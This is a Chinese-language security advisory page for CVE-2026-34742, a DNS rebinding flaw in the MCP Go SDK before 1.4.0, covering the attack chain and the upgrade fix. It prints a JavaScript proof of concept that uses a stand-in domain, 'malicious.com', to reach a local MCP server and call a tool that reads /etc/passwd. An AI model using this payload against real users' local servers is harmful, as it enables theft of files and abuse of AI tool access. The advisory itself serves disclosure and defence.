IPBUF安全漏洞报告
English
CVE-2026-34742 CVSS 8.1 高危

CVE-2026-34742 Go MCP SDK DNS重绑定漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34742
漏洞类型
DNS重绑定攻击
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Model Context Protocol Go SDK

相关标签

DNS重绑定SSRFGo SDKMCP同源策略绕过

漏洞概述

CVE-2026-34742 是 Model Context Protocol (MCP) Go SDK 中发现的一个高危安全漏洞。在版本 1.4.0 之前,该 SDK 默认未为基于 HTTP 的服务器(如使用 StreamableHTTPHandler 或 SSEHandler)启用 DNS 重绑定保护。如果此类服务器在本地主机上运行且未配置身份验证,攻击者可以通过恶意网站利用 DNS 重绑定攻击绕过同源策略(SOP)限制。这使得攻击者能够代表用户向本地 MCP 服务器发送恶意请求,从而调用工具或访问服务器暴露的资源,可能导致敏感信息泄露或本地系统被操控。

技术细节

该漏洞的根本原因是 Go MCP SDK 在处理 HTTP 请求时,缺乏对请求来源的 DNS 解析生命周期进行严格验证。攻击者首先诱导用户访问恶意网页,该网页包含针对攻击者控制域名的脚本。攻击者控制该域名的 DNS 解析,初始阶段将域名解析到攻击者的服务器 IP,获取浏览器的同源信任。随后,DNS 记录被迅速切换为本地回环地址(127.0.0.1)。由于浏览器允许已建立的连接在一定条件下复用或对 DNS 变更存在处理延迟,请求被实际转发到受害者本地的 MCP 服务端口。由于受影响版本的 SDK 未启用 DNS 重绑定保护且未强制认证,攻击者构造的 HTTP 请求即可被本地服务器接受,进而执行 MCP 协议定义的工具调用或资源访问操作。

攻击链分析

STEP 1
步骤1:诱导访问
攻击者诱导受害者访问包含恶意 JavaScript 代码的网站。
STEP 2
步骤2:DNS重绑定
恶意脚本请求攻击者控制的域名,DNS 服务器先将域名解析为攻击者 IP,随后迅速切换为 127.0.0.1。
STEP 3
步骤3:绕过同源策略
浏览器利用 DNS 重绑定技术,允许恶意网页向本地回环地址(localhost)发起跨域请求。
STEP 4
步骤4:执行恶意操作
请求到达本地未认证的 MCP 服务器,攻击者利用漏洞调用工具或窃取本地资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual Proof of Concept for DNS Rebinding against local MCP Server // This script runs in the victim's browser context. async function attackLocalMCP() { // 'malicious.com' is a domain controlled by the attacker // It initially resolves to the attacker's server, then rebinding to 127.0.0.1 const targetUrl = 'http://malicious.com/mcp/v1/tools'; const payload = { method: "tools/call", params: { name: "read_sensitive_file", arguments: { path: "/etc/passwd" } } }; try { // Attempt to send request to the local MCP server via DNS rebinding const response = await fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); if (response.ok) { console.log("[+] Exploit Successful! Response received:"); const data = await response.json(); console.log(data); } else { console.log("[-] Request failed, possibly waiting for DNS rebind..."); } } catch (error) { console.error("Connection error:", error); } } // Poll to wait for the DNS rebinding to switch to localhost setInterval(attackLocalMCP, 2000);

影响范围

Model Context Protocol Go SDK < 1.4.0

防御指南

临时缓解措施
建议立即将 Model Context Protocol Go SDK 升级至 v1.4.0 或更高版本,该版本已默认启用 DNS 重绑定保护。如果暂时无法升级,请确保本地运行的 MCP 服务器已开启严格的身份验证,或者不要在不可信的网络环境下使用 StreamableHTTPHandler 和 SSEHandler。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表